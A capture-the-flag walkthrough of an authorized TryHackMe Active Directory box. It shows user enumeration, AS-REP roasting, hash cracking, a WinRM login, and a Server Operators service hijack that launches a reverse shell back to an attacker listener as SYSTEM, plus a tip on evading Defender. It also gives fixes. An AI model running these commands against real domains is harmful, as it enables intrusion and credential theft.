Services
Employee names on a corporate website become AD usernames, Kerberos pre-auth is disabled on one account for an AS-REP roast, and membership in Server Operators lets us repoint a service binary to SYSTEM.
Services — From a Staff Directory to Domain SYSTEM via AS-REP Roasting and Server Operators
A walkthrough of TryHackMe’s “Services” box. A plain corporate website lists employees by full name; we turn those into Active Directory usernames, confirm them with Kerberos, and find one account with pre-authentication disabled — an AS-REP roast hands us a crackable hash. The cracked user lands in Server Operators**, a group powerful enough to repoint a Windows service binary and run our payload as SYSTEM**.
The flags, cracked password, and target IP are redacted. Services is an authorized training box on TryHackMe; everything here was performed against a legal practice target. Flags are shown as
THM{<redacted>}and the recovered password as<redacted>— real on the box, withheld here.
TL;DR
TL;DR
The website’s “About us” page leaks employee full names and the email format j.doe@services.local → build f.lastname usernames and validate them with kerbrute (all four valid) → AS-REP roast with Impacket’s GetNPUsers: one account (j.rock) has Kerberos pre-auth disabled, so the KDC hands out an encrypted AS-REP → crack it with hashcat mode 18200 to recover j.rock’s password → evil-winrm in for user.txt → whoami /all shows membership in BUILTIN\Server Operators → that group can reconfigure services, so we point the cfn-hup service binary at our reverse shell, restart it, and catch a shell as nt authority\system → root.txt.
Staff directory → valid AD users → AS-REP roast → crack → WinRM → Server Operators service hijack → SYSTEM.
The target
export IP=<target-ip>
export ATTACKER_IP=<your-vpn-ip>
The scan is a textbook domain controller: DNS, IIS, Kerberos (88), LDAP, SMB, RDP, WinRM — domain services.local, host WIN-SERVICES:
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0 — "Above Services"
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap services.local
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server commonName=WIN-SERVICES.services.local
5985/tcp open http WinRM (Microsoft HTTPAPI 2.0)
Anonymous SMB is denied (smbmap -u anonymous → access denied), so the website is the only thing to read. Its “About us” page lists staff by full name, and the footer shows a contact address j.doe@services.local.
The vulnerability — names are usernames, and one account skips pre-auth
The email format reveals the AD naming convention: first-initial-dot-surname. A staff directory therefore is a username list. The real flaw is a misconfigured account.
Insight
When an AD account has “Do not require Kerberos pre-authentication” set, anyone can ask the KDC for that user’s AS-REP and receive a blob encrypted with the user’s password-derived key — no credentials needed. That turns a disclosed username into an offline password-cracking target (AS-REP roasting). All it takes is one account with the flag and one weak password.
Step 1 — turn names into validated usernames
From the About page, build f.lastname candidates and confirm them against the KDC with kerbrute:
cat users.txt
# j.doe
# j.rock
# w.masters
# j.larusso
./kerbrute userenum --dc $IP -d services.local users.txt
# [+] VALID USERNAME: j.larusso@services.local
# [+] VALID USERNAME: j.doe@services.local
# [+] VALID USERNAME: w.masters@services.local
# [+] VALID USERNAME: j.rock@services.local
All four are real domain accounts.
Step 2 — AS-REP roast
Ask the KDC for AS-REPs for each user; one account answers with a hash:
GetNPUsers.py -dc-ip $IP -request 'services.local/' -usersfile users.txt -format hashcat
# [-] User j.doe doesn't have UF_DONT_REQUIRE_PREAUTH set
# $krb5asrep$23$j.rock@SERVICES.LOCAL:<hash...>
# [-] User w.masters doesn't have UF_DONT_REQUIRE_PREAUTH set
# [-] User j.larusso doesn't have UF_DONT_REQUIRE_PREAUTH set
Only j.rock has pre-auth disabled — exactly the misconfiguration AS-REP roasting needs.
Step 3 — crack the AS-REP hash
hashcat -m 18200 -a 0 j_rock_hash.txt rockyou.txt
# $krb5asrep$23$j.rock@SERVICES.LOCAL:...:<redacted>
The password falls to rockyou in seconds.
Step 4 — WinRM shell and the user flag
j.rock is in Remote Management Users, so WinRM is open to us:
evil-winrm -i $IP -u j.rock -p '<redacted>'
*Evil-WinRM* PS C:\Users\j.rock\Desktop> cat user.txt
# THM{<redacted>}
Step 5 — abuse Server Operators to get SYSTEM
whoami /all shows the key membership:
whoami /all
# BUILTIN\Server Operators Alias S-1-5-32-549 Enabled group
Members of Server Operators can start, stop, and reconfigure services — and a service runs as LocalSystem by default. List the services and pick one we’re allowed to reconfigure (most throw Access is denied; cfn-hup does not):
services # enumerate service binaries
Build a small reverse-shell binary, upload it, repoint the service’s binPath, and restart it. A compiled C reverse shell avoids Defender noise:
# attacker: cross-compile a reverse shell to re.exe (mingw), then host a listener
nc -lvnp 4444
# in the WinRM session
upload re.exe
sc.exe config cfn-hup binpath="C:\Users\j.rock\Documents\re.exe"
# [SC] ChangeServiceConfig SUCCESS
sc.exe start cfn-hup
The service starts our binary as SYSTEM, and the listener catches it:
nc -lvnp 4444
# connect from $IP
C:\Windows\system32> whoami
# nt authority\system
C:\Users\Administrator\Desktop> type root.txt
# THM{<redacted>}
Impact
Critical
Critical — CVSS 3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). A fully unauthenticated start chains to domain-host SYSTEM:
- Username disclosure + AS-REP roasting — a public staff directory plus one account without Kerberos pre-auth yields a crackable credential with no prior access.
- Weak password — the AS-REP hash falls to a basic wordlist, converting the roast into a valid login.
- Server Operators service reconfiguration — the group can repoint any service’s binary and restart it, running arbitrary code as
LocalSystem. That’s a direct, deterministic path to SYSTEM on the DC.
Recommended fix
Fix
- Require Kerberos pre-authentication on every account. Clear
DONT_REQ_PREAUTHorg-wide — it exists only for rare legacy interop and should never be left on. - Enforce strong password policy so that even a leaked AS-REP or NTLM hash resists offline cracking; prefer managed/service accounts with long random secrets.
- Remove users from Server Operators unless strictly required. It is effectively SYSTEM on the host; treat it like Domain Admin. Audit service ACLs so non-privileged users can’t reconfigure
binPath. - Minimise username leakage — a public site need not expose the exact AD naming convention.
Takeaways
- A staff directory is a username list. Once you know the email format, full names become AD accounts — validate them with kerbrute before touching Kerberos.
- AS-REP roasting needs only one careless account. No credentials required; a single
DONT_REQ_PREAUTHuser is an offline-crackable hash. - Server Operators is SYSTEM. Service reconfiguration rights mean arbitrary code as
LocalSystem— the group membership is the privesc. - Prefer a compiled reverse shell on Windows to sidestep script-based detections when planting a service binary.
Thanks for reading. “Services” is a clean reminder that the path from a public website to SYSTEM on a domain controller can be three well-known Active Directory misconfigurations in a row.